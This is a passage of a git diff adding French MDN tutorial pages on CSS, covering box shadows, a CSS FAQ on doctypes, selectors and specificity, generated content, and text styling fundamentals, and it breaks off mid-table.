En fusionnant tout ces aspects, il est possible de créer des effets somptueux. Au fur et à mesure, cela s'équilibrera entre un défi technique et un défi créatif. Pour conclure, par exemple, on peut créer des illusions d'optique :

+ + + +

Nous allons ici créer un effet d'ombre portée. La propriété {{cssxref("box-shadow")}} permet d'obtenir un effet basique mais en manipulant les pseudo-éléments et la propriété {{cssxref("transform")}}, on peut obtenir un résultat plus naturel.

+ +
.joli {
+  position: relative;
+  background-color: #FFC;
+  padding: 2rem;
+  text-align: center;
+  max-width: 200px;
+}
+
+.joli::before {
+  content: "";
+
+  position : absolute;
+  z-index  : -1;
+  bottom   : 15px;
+  right    : 5px;
+  width    : 50%;
+  top      : 80%;
+  max-width: 200px;
+
+  box-shadow: 0px 13px 10px black;
+  transform: rotate(4deg);
+}
+ +

{{EmbedLiveSample("L'assemblage", '100%', '100')}}

+ +

La suite

+ +

Pour de nombreux cas, on utilisera des couleurs et des images d'arrière-plans pour composer de belles boîtes. Nous vous invitons donc à approfondir la gestion des couleurs et des images. Par ailleurs, rien ne sert de créer de belles boîtes si celles-ci ne font pas partie d'une disposition bien organisée. Aussi, si vous ne l'avez pas encore lu, nous vous conseillons de parcourir les bases de la disposition.

diff --git a/files/fr/learn/css/howto/css_faq/index.html b/files/fr/learn/css/howto/css_faq/index.html new file mode 100644 index 0000000000..0d62552798 --- /dev/null +++ b/files/fr/learn/css/howto/css_faq/index.html @@ -0,0 +1,246 @@ +--- +title: Questions fréquentes en CSS +slug: Web/CSS/CSS_questions_frequentes +tags: + - CSS + - Débutant + - Exemple + - Guide +translation_of: Learn/CSS/Howto/CSS_FAQ +--- +

Pourquoi mon CSS, pourtant valide, ne fournit pas un rendu correct ?

+ +

Pour afficher un document, les navigateurs utilisent le DOCTYPE - contraction de l'anglais document type, littéralement « type de document ». Ils utilisent un mode qui est compatible avec les standards du Web et avec les bugs des vieux navigateurs. Utiliser un DOCTYPE correct et moderne dès le début de votre code HTML améliorera la conformité aux standards du navigateur.

+ +

Les navigateurs modernes ont deux modes de rendu :

+ +
    +
  • Mode Quirk: aussi appelé mode de rétro-compatibilité. Il permet aux pages existantes d'être affichées telles que leurs auteurs l'ont voulu, en suivant les règles de rendu non-standards utilisées par les navigateurs anciens. Les documents avec un DOCTYPE incomplet, incorrect ou manquant, ou avec une déclaration DOCTYPE en utilisation avant 2001 seront affichées en mode Quirks.
    • +
  • Mode Standard: le navigateur tente de suivre strictement les standards du W3C. Idéalement, les nouvelles pages HTML doivent être conçues pour des navigateurs conformes aux normes. Par conséquent, les pages avec un DOCTYPE moderne seront affichées en mode Standard.
    • +
+ +

Les navigateurs basés sur Gecko ont un troisième mode Presque Standard qui comporte quelques quirks mineurs.

+ +

Voici une liste des DOCTYPE les plus couramment utilisés, qui déclencheront les modes Standard et Presque Standard des navigateurs :

+ +
<!DOCTYPE html> /* Ceci est le doctype HTML5. Étant donné que chaque
+                   navigateur moderne utilise un parseur HTML5, c'est le
+                   doctype recommandé. */
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+"https://www.w3.org/TR/html4/loose.dtd">
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"https://www.w3.org/TR/html4/strict.dtd">
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"https://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+ +

Pourquoi mon CSS, qui est valide, n'est pas affiché du tout ?

+ +

Pour être appliqué, une feuille CSS doit être définie avec un type MIME text/css. Si le serveur Web ne l'affiche pas avec ce type, la feuille CSS ne sera pas appliquée.

+ +

Quelle est la différence entre id et class ?

+ +

Les éléments HTML peuvent posséder un attribut de type id et / ou class. L'attribut id assigne un nom à l'élément sur lequel il s'applique. Pour un balisage correct, il ne peut y avoir qu'un et un seul élément avec ce nom. L'attribut class assigne une nom de classe à un élément. Ce nom peut être utilisé sur plusieurs éléments dans la même page. CSS vous permet d'appliquer des styles à des balises avec des noms définis en id et / ou en class.

+ +

Quand vous voulez appliquer un style à un bloc ou un élément spécifique, utilisez un attribut id. Ces caractéristiques de style ne seront appliquées que sur cet id particulier.

+ +

Quand vous voulez appliquer un style à plusieurs blocs ou éléments dans la même page, utilisez un attribut class.

+ +

Les feuilles de style avec le moins de règles sont les plus performantes. Par conséquent, il est recommandé d'utiliser le plus possible les classes et de réserver les id à des usages spécifiques - comme connecter des éléments de type label et form ou pour décorer des éléments qui doivent être sémantiquement uniques.

+ +

Voire Les sélecteurs CSS.

+ +

Comment revenir à la valeur par défaut d'un propriété ?

+ +

Jadis, il n'y avait pas de valeur nommée "default", par exemple. Le seul moyen de retrouver la valeur par défaut d'une propriété était de déclarer à nouveau cette propriété avec sa valeur par défaut.

+ +

Ce comportement est différent depuis CSS2. Une propriété CSS peut maintenant prendre la valeur initial. C'est la valeur par défaut de cette propriété, valeur définie dans les spécifications de la propriété.

+ +

Comment créer un style dérivant d'un autre ?

+ +

CSS ne permet de faire dériver un style d'un autre. Voire l'article d'Eric Meyer à propos de la position du groupe de travail. Par contre, assigner plusieurs classes à un seul élément peut produire le même effet.

+ +

Comment  assigner de multiples classes à un élément?

+ +

Il est possible d'assigner aux éléments HTML de multiples classes en les listant dans l'attribut class en séparant chaque classe d'un espace.

+ +
<style type="text/css">
+.news { background: black; color: white; }
+.today { font-weight: bold; }
+</style>
+
+<div class="news today">
+... content of today's news ...
+</div>
+
+ +

Si la même propriété est déclarée dans les deux règles, le conflit est résolu de la manière suivante : premièrement selon la règle de spécificité, ensuite selon l'ordre de déclaration du CSS. L'ordre des classes dans l'attribut class n'est pas pris en compte.

+ +

Pourquoi mes règles ne fonctionnent-elles pas correctement ?

+ +

Les règles de style qui sont syntaxiquement correctes peuvent ne pas s'appliquer dans certaines situations. Vous pouvez utiliser la partie Règles de style CSS de l'inspecteur DOM pour déboguer les problèmes de ce genre, mais la plupart des cas de règles de style non utilisées sont listées ci-dessous.

+ +

Hiérarchie des éléments HTML

+ +

La manière dont les styles CSS sont appliqués aux éléments HTML dépend aussi de la hiérarchie des-dits éléments. Il est important de se souvenir qu'une règle appliquée à un élément surcharge la règle appliquée pour l'élément parent, quelle que soit la spécificité ou la priorité de la règle CSS.

+ +
.news {
+  color: black;
+}
+
+.corpName {
+  font-weight: bold;
+  color: red;
+}
+
+ +
<!-- Le texte de l'annonce est en noir
+     mais le nom de l'entreprise est
+     en rouge gras -->
+<div class="news"> (Reuters)
+   <span class="corpName">General Electric</span>
+  (GE.NYS) announced on Thursday...
+</div>
+
+ +

Dans le cas où vous utilisez une hiérarchie HTML complexe et si une règle semble être ignorée, vérifiez que l'élément n'est pas contenu dans un autre élément avec une mise en forme différente.

+ +

L'ordre et la redéfinition des règles

+ +

Pour les feuilles de style CSS, l'ordre est important. Si vous définissez une règle une première fois puis que vous la définissez à nouveau par la suite, c'est cette dernière définition qui sera prise en compte et utilisée.

+ +
#stockTicker {
+  font-weight: bold;
+}
+.stockSymbol {
+  color: red;
+}
+/*  D'autres règles             */
+/*  D'autres règles             */
+/*  D'autres règles             */
+.stockSymbol {
+  font-weight: normal;
+}
+
+ +

 

+ +
<!-- La plupart du texte est en gras sauf "GE",
+     qui est en rouge et sans graisse -->
+<div id="stockTicker"> NYS: <span class="stockSymbol">GE</span> +1.0 ... </div>
+
+
+ +

Pour éviter ce type d'erreur, le mieux consiste à ne définir les règles qu'une seule fois pour un sélecteur donné et à grouper toutes les règles appartenant à ce sélecteur.

+ +

Utiliser les propriétés raccourcies

+ +

Les propriétés raccourcies sont un bon outil pour définir les règles CSS car elles permettent d'obtenir une syntaxe concise. On peut utiliser les propriétés raccourcies avec uniquement quelques unes des valeurs associées, c'est possible et c'est correct ; toutefois, il faut se rappeler que tous les attributs qui ne sont pas déclarés verront leurs valeurs par défaut (aussi appelées valeurs initiales) utilisées. Cela signifie que si une règle précédente indiquait la valeur pour une propriété détaillée, elle sera surchargée de façon implicite.

+ +
#stockTicker {
+  font-size: 12px;
+  font-family: Verdana;
+  font-weight: bold;
+}
+
+.stockSymbol {
+  font: 14px Arial;
+  color: red;
+}
+
+ +
<div id="stockTicker">
+  NYS:
+  <span class="stockSymbol">
+    GE
+  </span>
+  +1.0 ...
+</div>
+ +

Dans l'exemple précédent, le problème apparaît avec des règles destinées à des éléments différents mais il peut également se produire pour un seul élément car l'ordre des règles est important.

+ +
#stockTicker {
+  font-weight: bold;
+  font: 12px Verdana;
+  /* font-weight vaut maintenant normal */
+}
+
+ +

Utiliser le sélecteur *

+ +

Le sélecteur * fait référence à n'importe quel élément et doit donc être utilisé avec soin.

+ +
body * {
+  font-weight: normal;
+}
+
+#stockTicker {
+  font: 12px Verdana;
+}
+
+.corpName {
+  font-weight: bold;
+}
+
+.stockUp {
+  color: red;
+}
+
+ +
<div id="section">
+  NYS:
+  <span class="corpName">
+    <span class="stockUp">
+      GE
+    </span>
+  </span>
+  +1.0 ...
+</div>
+ +

Dans cet exemple, le sélecteur body * cible tous les éléments à l'intérieur de body, quel que soit le niveau hiérarchique à l'intérieur du document, y compris pour la classe .stockUp. Ainsi, la règle font-weight: bold; appliquée sur la classe .corpName est surchargée par la règle font-weight: normal; qui est appliquée à tous les éléments contenus dans body.

+ +

Le sélecteur * doit être utilisé aussi peu que possible car il s'agit d'un sélecteur lent, notamment lorsqu'il n'est pas utilisé comme le premier composant d'un sélecteur.

+ +

La spécificité en CSS

+ +

Lorsque plusieurs règles s'applique à un même élément. La règle choisie dépend de la spécificité. Les styles inline (ceux déclarés via l'attribut HTML style) sont pris en compte en priorité, suivis par ceux manipulés avec les sélecteurs d'identifiant, suivis ceux associés aux sélecteurs de classe et éventuellement par ceux associés aux sélecteurs de nom.

+ +
div {
+  color: black;
+}
+
+#orange {
+  color: orange;
+}
+
+.green {
+  color: green;
+}
+
+ +
<div id="orange" class="green" style="color: red;">
+  Voici quelque chose qui sera rouge.
+</div>
+ +

Les règles exactes sont plus complexes lorsque le sélecteur contient plusieurs composants. Pour plus de détails sur la façon dont la spécificité d'un sélecteur est calculé, on pourra lire le chapitre de la spécification CSS 2.1 ou le chapitre correspondant de la section Apprendre.

+ +

Quid des propriétés -moz-*, -ms-*, -webkit-*, -o-* et -khtml-* ?

+ +

Ces propriétés, appelées propriétés préfixées, sont des extensions au standard CSS. Elles sont utilisées pour les fonctionnalités expérimentales et non-standards afin d'éviter de polluer l'espace de noms usuel pour éviter des incompatibilités lorsque le standard est augmenté.

+ +

Il n'est pas recommandé d'utilier ces propriétés pour des sites web en production. Si cela reste nécessaire, il est conseillé de prévoir une stratégie au cas où ces propriétés préfixées soient retirées. En effet, elles peuvent être modifiées voire supprimées lorsque le standard évolue.

+ +

Pour plus d'informations sur les extensions CSS de Mozilla, vous pouvez consulter la page associée.

+ +

Quel est l'impact de z-index sur le positionnement des éléments ?

+ +

La propriété {{cssxref("z-index")}} définit l'ordre d'empilement des élément.

+ +

Un élément pour lequel z-index est plus grand qu'un autre sera toujours empilé « devant ».

+ +

La propriété z-index ne fonctionne que pour les éléments dont la position est définie (c'est-à-dire les éléments pour lesquels la propriété {{cssxref("position")}} vaut absolute, relative ou fixed).

diff --git a/files/fr/learn/css/howto/generated_content/index.html b/files/fr/learn/css/howto/generated_content/index.html new file mode 100644 index 0000000000..a8b6860177 --- /dev/null +++ b/files/fr/learn/css/howto/generated_content/index.html @@ -0,0 +1,159 @@ +--- +title: Contenu +slug: Apprendre/CSS/Comment/Generated_content +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/Howto/Generated_content +--- +

 

+

Cette page décrit plusieurs manières d'utiliser CSS pour ajouter du contenu à un document affiché.

+

Vous modifierez votre feuille de style pour ajouter du contenu textuel et une image.

+

Information : contenu

+

Un des avantages importants de CSS est qu'il vous aide à séparer le style d'un document de son contenu. Cependant, il existe des situations où il n'est pas insensé de spécifier une partie du contenu au sein de la feuille de style plutôt qu'en tant que partie du document

+

Le contenu spécifié dans une feuille de style peut consister en du texte ou des images. Ce contenu peut être spécifié dans une feuille de style lorsqu'il est directement lié à la structure du document.

+ + + + + + + +
+ Plus de détails
Spécifier du contenu dans une feuille de style peut engendrer des complications. Par exemple, vous pouvez avoir des versions de votre document en différentes langues qui partagent la même feuille de style. Si une partie de la feuille de style doit être traduite, cela signifie que vous devez placer cette partie dans des fichiers séparés et vous arranger pour qu'elles soient liées avec les bonnes versions de langue de votre document. +

Ces complications ne surviendront pas si le contenu spécifié consiste en une série de symboles ou d'images compréhensibles dans toutes les langues et cultures.

+

Le contenu spécifié dans une feuille de style ne fait pas partie du DOM.

+
+

Contenu textuel

+

CSS peut insérer du texte avant ou après un élément. Pour spécifier cela, créez une règle et ajoutez :before ou :after au sélecteur. Dans la déclaration, spécifiez la propriété content en lui donnant comme valeur le contenu textuel.

+ + + + + + + +
+ Exemple
Cette règle ajoute le texte Référence : devant chaque élément de la classe ref : +
+ 
+.ref:before {
+  font-weight: bold;
+  color: navy;
+  content: "Référence : ";
+  }
+
+
+
+ + + + + + + +
+ Plus de détails
Le jeu de caractères d'une feuille de style est UTF-8 par défaut, mais il peut être spécifié dans le lien, ou dans la feuille de style elle-même, ou d'une autre manière. Pour plus de détails, consultez 4.4 CSS style sheet representation dans la spécification CSS. +

Des caractères individuels peuvent également être spécifiés à l'aide d'un mécanisme utilisant le backslash (barre oblique inversée) comme caractère d'échappement. Par exemple, \265B est le symbole du jeu d'échecs pour la reine noire ♛. Pour plus de détails, consultez Referring to characters not represented in a character encoding, ainsi que Characters and case dans la spécification CSS.

+
+

Contenu sous forme d'images

+

Pour ajouter une image avant ou après un élément, vous pouvez spécifier l'URL d'un fichier image dans la valeur de la propriété content.

+ + + + + + + +
+ Exemple
Cette règle ajoute un espace et une icône après chaque lien faisant partie de la classe glossaire: +
+ 
+a.glossaire:after {content: " " url("../images/glossary-icon.gif");}
+
+
+
+


+ Pour ajouter une image comme fond d'un élément, spécifiez l'URL d'un fichier image dans la valeur de la propriété background. C'est une propriété raccourcie qui spécifie la couleur de fond, l'image, son éventuelle répétition, et certains autres détails.

+ + + + + + + +
+ Exemple
Cette règle change le fond d'un élément spécifique, en utilisant une URL pour indiquer un fichier image. +

Le sélecteur spécifie l'id de l'élément. La valeur no-repeat fait que l'image apparaîtra une seule fois :

+
+ 
+#panneau-lateral {background: url("../images/sidebar-ground.png") no-repeat;}
+
+
+
+ + + + + + + +
+ Plus de détails
Pour plus d'informations sur les propriétés affectant les fonds, et d'autres options qui peuvent être spécifiées pour les images de fond, consultez The background dans la spécification CSS.
+

Action : ajout d'une image de fond

+

Cette image est un carré blanc avec une ligne bleue en bas. Téléchargez le fichier image dans le même répertoire que votre fichier CSS :

+ + + + + + +
Image:ligne-bleue.png
+

(Par exemple, cliquez avec le bouton de droite pour obtenir un menu contextuel, choisissez Enregistrer l'image sous... et choisissez le répertoire que vous utilisez pour ce tutoriel.)

+

Éditez votre fichier CSS et ajoutez cette règle à l'élément body, pour donner une image de fond à la page entière.

+
+ 
background: url("ligne-bleue.png");
+
+
+

La valeur repeat est celle par défaut, elle n'a dont pas besoin d'être spécifiée. L'image se répète horizontalement et verticalement, ce qui donne un aspect ressemblant à un papier ligné :

+
+

Image:fond-lignes-bleues.png

+
+
+

Cascading Style Sheets

+
+
+

Cascading Style Sheets

+
+
+
+ + + + + + + +
+ Challenge
Téléchargez cette image : + + + + + + +
Image:punaise-jaune.png
+

Ajoutez une règle à votre feuille de style de manière à ce que l'image soit affichée au début de chaque ligne :

+
+

Image:fond-lignes-bleues.png

+
+
+ image:punaise-jaune.png Cascading Style Sheets
+
+ image:punaise-jaune.png Cascading Style Sheets
+
+
+
+

Pour continuer

+

Une façon courante d'ajouter du contenu via une feuile de style est de marquer les différents éléments d'une liste.

+

La page suivante décrit la manière de spécifier un style pour les éléments d'une liste : Listes.

diff --git a/files/fr/learn/css/howto/index.html b/files/fr/learn/css/howto/index.html new file mode 100644 index 0000000000..28cc40c4fe --- /dev/null +++ b/files/fr/learn/css/howto/index.html @@ -0,0 +1,90 @@ +--- +title: Apprendre à utiliser CSS pour résoudre des problèmes +slug: Apprendre/CSS/Comment +tags: + - Apprendre + - CSS + - Débutant +translation_of: Learn/CSS/Howto +--- +

 

+ +

Les liens suivants pointent vers des solutions aux problèmes courants que vous devrez résoudre avec CSS.

+ +

Scénarios fréquents

+ +
+
+

Basess

+ + + +

CSS et texte

+ + +
+ +
+

Boîtes et mises en page

+ + +
+
+ +

Techniques avancées ou peu communes

+ +

Au-delà des concepts de base, CSS dispose de techniques de conception avancées. Dans ces articles, nous verrons les scénarios les plus difficiles auxquels vous aurez à faire face :

+ +

Général

+ + + +

Effets avancés

+ + + +

Mise en page

+ + + +

Voir aussi

+ +

CSS FAQ — Une collection d'informations ponctuelles couvrant une variété de sujets, du débogage à l'utilisation de sélecteurs.

diff --git a/files/fr/learn/css/index.html b/files/fr/learn/css/index.html new file mode 100644 index 0000000000..d47ea70f90 --- /dev/null +++ b/files/fr/learn/css/index.html @@ -0,0 +1,77 @@ +--- +title: Composer le HTML avec les CSS +slug: Apprendre/CSS +tags: + - Article + - CSS + - Codage + - Débutant + - Longueur + - Nécessite du contenu + - Renvois + - Style + - débogage + - particularités +translation_of: Learn/CSS +--- +
{{LearnSidebar}}
+ +
+

Les Cascading StyleSheets — ou {{glossary("CSS")}} — (Feuilles de style en cascade) sont la première technique à apprendre après le {{glossary("HTML")}}. Alors que {{glossary("HTML")}} s'utilise pour définir la structure et la sémantique du contenu, les {{Glossary('CSS')}} sont employées pour composer et déterminer l'apparence de ce contenu. Ainsi par exemple, vous utiliserez les CSS pour modifier les polices, la couleur, la taille et l'espacement de votre contenu, pour le répartir sur plusieurs colonnes ou bien pour ajouter des animations et autres fonctionnalités décoratives.

+
+ +

Parcours d'apprentissage

+ +

Vous devriez vraiment apprendre les bases du HTML avant d'essayer n'importe quelles CSS. Nous vous recommandons de travailler d'abord notre module Introduction au HTML — vous pourrez ensuite en apprendre davantage au sujet :

+ + + +

Une fois compris les principes fondamentaux du HTML, nous vous recommandons d'apprendre HTML et CSS simultanément, en vous déplaçant d'un sujet à l'autre. Car le HTML est beaucoup plus intéressant et beaucoup plus amusant à apprendre en appliquant les CSS : vous ne pouvez pas apprendre réellement les CSS sans connaître le HTML.

+ +

Avant de commencer cet article, vous devez aussi avoir, au minimum, une connaissance de base de l'utilisation de l'ordinateur et de celle, passive, du Web (c'est-à-dire, faire des recherches et consommer du contenu). Vous devez aussi avoir paramétré un environnement de travail de base tel que détaillé dans Installer les logiciels de base et avoir compris comment créer et gérer des fichiers, comme indiqué dans Gérer des fichiers — les deux font partie de notre module Débuter avec le Web, rédigé pour les débutants.

+ +

Il est recommandé de travailler par le biais de Débuter avec le web avant d'essayer ce sujet, cependant, ce n'est pas absolument nécessaire : une grande partie de ce qui est couvert dans l'article de base CSS est également couvert dans notre module Introduction aux CSS, bien qu'avec beaucoup plus de détails.

+ +

Modules

+ +

Cet article contient les modules suivants, dans l'ordre suggéré pour le parcours. Vous devez vraiment commencer par le premier.

+ +
+
Introduction aux CSS
+
Ce module vous enseigne les bases du fonctionnement des CSS ; il comprend les sélecteurs et les propriétés, l'écriture des règles des CSS, l'application des CSS au HTML, la définition de la longueur, de la couleur et d'autres unités avec les CSS, la cascade et l'héritage, les bases du modèle de boîte et le débogage du CSS.
+
Styliser les boîtes
+
Ensuite, nous examinons la stylisation des boîtes : une des étapes fondamentales de la composition d'une page Web. Dans ce module, nous récapitulons les modèles de boîtes, puis nous nous penchons sur le contrôle de leur disposition en définissant le remplissage, les bordures et les marges, la personnalisation des couleurs d'arrière-plan, les images et autres caractéristiques, les caractéristiques de fantaisie telles que filtres et ombrages des boîtes.
+
+ +
+
Composer du texte
+
Ici, nous examinons les principes fondamentaux pour composer du texte : réglage de la police, graisse et italique, espacement des lignes et des lettres, les ombrage et autres caractéristiques. Nous complétons le module en appliquant des polices personnalisées à la page, ainsi que des listes de styles et des liens.
+
+
Mise en page avec les CSS
+
+

À ce stade, ont déjà été examinés les principes fondamentaux des CSS, la façon de composer du texte, de styliser et de manipuler les boîtes où se trouve le contenu. Maintenant, il est temps de voir comment placer les boîtes au bon endroit dans la fenêtre et l'une par rapport à l'autre. Maintenant que sont couvertes les conditions préalables nécessaires, vous pouvez entrer plus avant dans les mises en page avec les CSS, regarder les divers paramètres d'affichage, les méthodes traditionnelles de mise en page y compris flottement et positionnement ainsi que les nouveaux outils de mises en page tape à l'œil, comme flexbox.

+
+
+ +

Résolution de problèmes courants avec les CSS

+ +

Use CSS to solve common problems fournit des liens vers des sections dont les contenus expliquent comment utiliser les CSS pour résoudre des problèmes banals lors de la création d'une page Web.

+ +

Au début, ce que vous ferez le plus couramment sera d'appliquer des couleurs aux éléments HTML et à leurs arrière-plans, de changer la taille, la forme et la position des éléments et d'ajouter ou définir des bordures pour les éléments. Mais il n'y a pas grand-chose que vous ne puissiez pas faire une fois que vous avez une solide compréhension des bases des CSS. L'un des meilleurs aspects de l'apprentissage des CSS est que, une fois acquis les principes fondamentaux, vous avez habituellement une bonne idée de ce qui peut et ne peut pas être fait, même si vous ne savez pas encore comment réellement le faire !

+ +

"Le CSS est étrange"

+ +

Le CSS fonctionne un peu différemment de la plupart des langages de programmation et des outils de conception que vous rencontrerez. Pourquoi fonctionne-t-il de cette façon ? Dans la vidéo suivante, Miriam Suzanne explique pourquoi le CSS fonctionne comme il le fait, et pourquoi il a évolué comme il l'a fait :

+ +

{{EmbedYouTube("aHUtMbJw8iA")}}

+ +

Voir aussi

+ +
+
Les CSS sur MDN
+
Le portail pour la documentation des CSS sur MDN : vous y trouverez une documentation de référence détaillée pour toutes les fonctionnalités du langage des CSS. Vous voulez connaître toutes les valeurs qu'une propriété peut prendre ? C'est le bon endroit.
+
diff --git a/files/fr/learn/css/styling_text/fundamentals/index.html b/files/fr/learn/css/styling_text/fundamentals/index.html new file mode 100644 index 0000000000..283d1fff00 --- /dev/null +++ b/files/fr/learn/css/styling_text/fundamentals/index.html @@ -0,0 +1,756 @@ +--- +title: Initiation à la mise en forme du texte +slug: Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte +tags: + - Alignement + - CSS + - Débutant + - Guide + - Polices de caractères + - Style + - Texte +translation_of: Learn/CSS/Styling_text/Fundamentals +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}
+ +

Dans cet article, nous allons commencer le voyage vers la maîtrise des styles du texte avec {{glossary("CSS")}}. Nous passerons en revue les principes de base de mise en forme du texte, y compris la graisse, la famille et le style de police, les codes d'abréviation, l'alignement du texte et autres effets, ainsi que l'espacement des lignes et des lettres.

+ + + + + + + + + + + + +
Prérequis :Connaissances informatiques de base, les bases HTML (étudiées dans l'Introduction au HTML), les bases CSS (étudiées dans Introduction à CSS).
Objectif :Apprendre les techniques et propriétés fondamentales nécessaires pour composer du texte sur les pages web.
+ +

En quoi consiste la mise en forme du texte avec CSS ?

+ +

Comme vous l'avez déjà vu dans votre apprentissage de HTML et CSS, le texte d'un élément est placé à l'intérieur de la boîte de contenu de cet élément. Il débute en haut à gauche de cette zone (ou en haut à droite, dans le cas des contenus en langues s'écrivant de droite à gauche) et se poursuit vers la fin de la ligne. Arrivé en bout de ligne, il descend à la ligne suivante et continue, puis va à la ligne suivante, jusqu'à ce que tout le contenu ait été placé. Les contenus textuels se comportent comme une suite d'éléments en ligne placés les uns à côté des autres. Aucun saut de ligne n'est créé avant que la fin de la ligne soit atteinte, sauf si vous forcez manuellement le saut de ligne avec l'élément {{htmlelement("br")}}.

+ +
+

Note : si le paragraphe ci‑dessus vous paraît confus,  pas de problème — revenez en arrière et revoyez l'article sur la théorie du Modèle de boîte avant de poursuivre.

+
+ +

Les propriétés CSS utilisées pour le style de texte appartiennent généralement à deux catégories, que nous verrons séparément dans cet article :

+ +
    +
  • Styles de la police de caractères : ces propriétés concernent la fonte appliquée au  texte, affectant sa police, sa taille, sa graisse, si elle est italique, etc.
    • +
  • Styles de composition du texte : ces propriétés influent sur les espacements et autres dispositions de mise en page du texte, permettant de modifier, par exemple, l'espacement entre lignes et entre caractères, et la manière de disposer le texte  dans la boîte de contenu.
    • +
+ +
+

Note : Gardez à l'esprit que le texte à l'intérieur d'un élément est affecté comme une seule entité. Vous ne pouvez pas sélectionner et mettre en forme des sous-sections de texte, sauf si vous les enveloppez dans un élément approprié (tel que {{htmlelement ("span")}} ou {{htmlelement ("strong")}}, ou utilisez un texte pseudo-élément spécifique comme ::first-letter (sélectionne la première lettre du texte d'un élément), ::first-line (sélectionne la première ligne du texte d'un élément) ou ::selection (sélectionne le texte actuellement mis en surbrillance par le curseur) .

+
+ +

Fontes

+ +

Passons directement aux propriétés pour le style des polices. Dans cet exemple, nous allons appliquer différentes propriétés CSS au même exemple HTML, qui ressemble à ceci :

+ +
<h1>Tommy le Chat</h1>
+
+<p>Je m'en souviens comme mon dernier repas...</p>
+
+<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager
+ce corps étranger qui s'était niché au fond de sa redoutable gueule.
+Beaucoup de rats bien gras trépassèrent dans la ruelle en regardant l'étoile
+brillant au fond du canon de cet extraordinaire rôdeur en quête de proie.
+Un véritable miracle de la nature ce prédateur urbain — Tommy le Chat
+avait beaucoup d'histoires à raconter. Mais il ne le faisait qu'en de rares
+occasions, comme maintenant.</p>
+ +
+

(NdT : Extrait et traduction approximative de la chanson Tommy the Cat du groupe Primus)

+
+ +

Vous pouvez trouver l'exemple (en) fini sur Github (voir aussi le code source).

+ +

Couleur

+ +

La propriété {{cssxref("color")}} définit la couleur du contenu d'avant‑plan des éléments sélectionnés (généralement du texte, mais peut être autre chose, comme un soulignement ou un surlignage créé avec la propriété {{cssxref("text-decoration")}}.

+ +

color accepte toutes les unités de couleur des CSS, par exemple :

+ +
p {
+  color: red;
+}
+ +

Les paragraphes seront en rouge, au lieu d'être de couleur noire, couleur par défaut du navigateur standard :

+ + + +

{{ EmbedLiveSample('Couleur', '100%', 220) }}

+ +

Familles de fontes

+ +

Pour définir une police de caractères différente pour le texte, utilisez la propriété {{cssxref("font-family")}} — cela vous permet de spécifier une police (ou une liste de polices) que le navigateur doit appliquer aux éléments sélectionnés. Le navigateur n'appliquera une police de caractères que si elle est disponible sur la machine sur laquelle le site est accessible, sinon, il utilisera une  {{anch("Default fonts", "police par défaut")}} . Un exemple simple pour voir cela :

+ +
p {
+  font-family: arial;
+}
+ +

Cette commande définit la police de caractères arial (qui existe sur tous les ordinateurs) pour tous les paragraphes de la page.

+ +

Polices web sûres

+ +

En parlant de la disponibilité des polices, il y a seulement un certain nombre de polices qui sont généralement disponibles sur tous les systèmes, et peuvent donc être utilisées sans trop de soucis. Ce sont les polices web dites sûres.

+ +

La plupart du temps, en tant que développeur web, nous voulons avoir un contrôle précis sur les polices utilisées pour afficher le contenu textuel. Le problème est de trouver un moyen de savoir quelle police est disponible sur l'ordinateur utilisé pour voir nos pages web. Il n'y a aucun moyen systématique de le savoir, mais les polices web sûres sont disponibles sur presque tous les systèmes d'exploitation les plus utilisés (Windows, Mac, les distributions Linux les plus courantes, Android et iOS).

+ +

La liste des polices web vraiment sûres changera à mesure que les systèmes d'exploitation évolueront, mais on peut considérer les polices suivantes comme sûres sur le web, du moins pour le moment (beaucoup ont été popularisées grâce aux polices Microsoft Core pour le web à la fin des années 90 et début des années 2000) :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NomType génériqueNotes
Arialsans-serifIl est de bonne pratique d'ajouter Helvetica en tant qu'alternative préférée d'Arial car, bien que leurs apparences soient presque identiques, Helvetica est considérée comme ayant une forme plus agréable, même si Arial est plus courante.
Courier NewmonospaceCertains systèmes d'exploitation ont une version alternative (peut-être plus ancienne) de la police Courier New appelée Courier. Il est recommandé d'utiliser les deux avec Courier New comme alternative préférée.
Georgiaserif 
Times New RomanserifCertains systèmes d'exploitation ont une version alternative (peut-être plus ancienne) de la police Times New Roman appelée Times. Il est recommandé d'utiliser les deux avec Times New Roman comme alternative préférée.
Trebuchet MSsans-serifVous devriez être prudent avec l'utilisation de cette police - elle n'est pas aussi largement disponible sur les systèmes d'exploitation des mobiles.
Verdanasans-serif 
+ +
+

Note : Le site cssfontstack.com met à votre disposition, entre autres ressources, une liste de polices web sûres disponibles sur les systèmes d'exploitation Windows et Mac OS. Elle peut faciliter votre prise de décision quant à ce que vous considérerez comme sûr pour votre usage.

+
+ +
+

Note : Il y a moyen de télécharger une police personnalisée avec une page Web ; cela permet une utilisation personnalisée de la police comme vous le souhaitez : les polices web. C'est un peu plus complexe, et nous en discuterons dans un article séparé plus loin dans le module.

+
+ +

Polices par défaut

+ +

CSS définit cinq noms génériques pour les polices : serif, sans-serif, monospace, cursive et fantasy. À cause de leur caractère générique la police de caractères exacte utilisée, lors de l'emploi de ces noms, dépend de chaque navigateur et peut varier pour chaque système d'exploitation sur lequel ils s'exécutent. Dans le pire des cas, le navigateur essaiera de trouver une police appropriée.serif, sans-serif et monospace sont tout à fait prévisibles et devraient donner quelque chose de raisonnable. Par contre, cursive et fantasy sont moins prévisibles et nous vous recommandons de les utiliser avec précaution, en les testant au fur et à mesure.

+ +

Les 5 noms sont définis comme suit :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TermeDéfinitionExemple
serifLes polices qui ont des sérifs (fioritures et autres petits détails que vous voyez en extrémité de trait dans certaines polices)Mon grand éléphant rouge
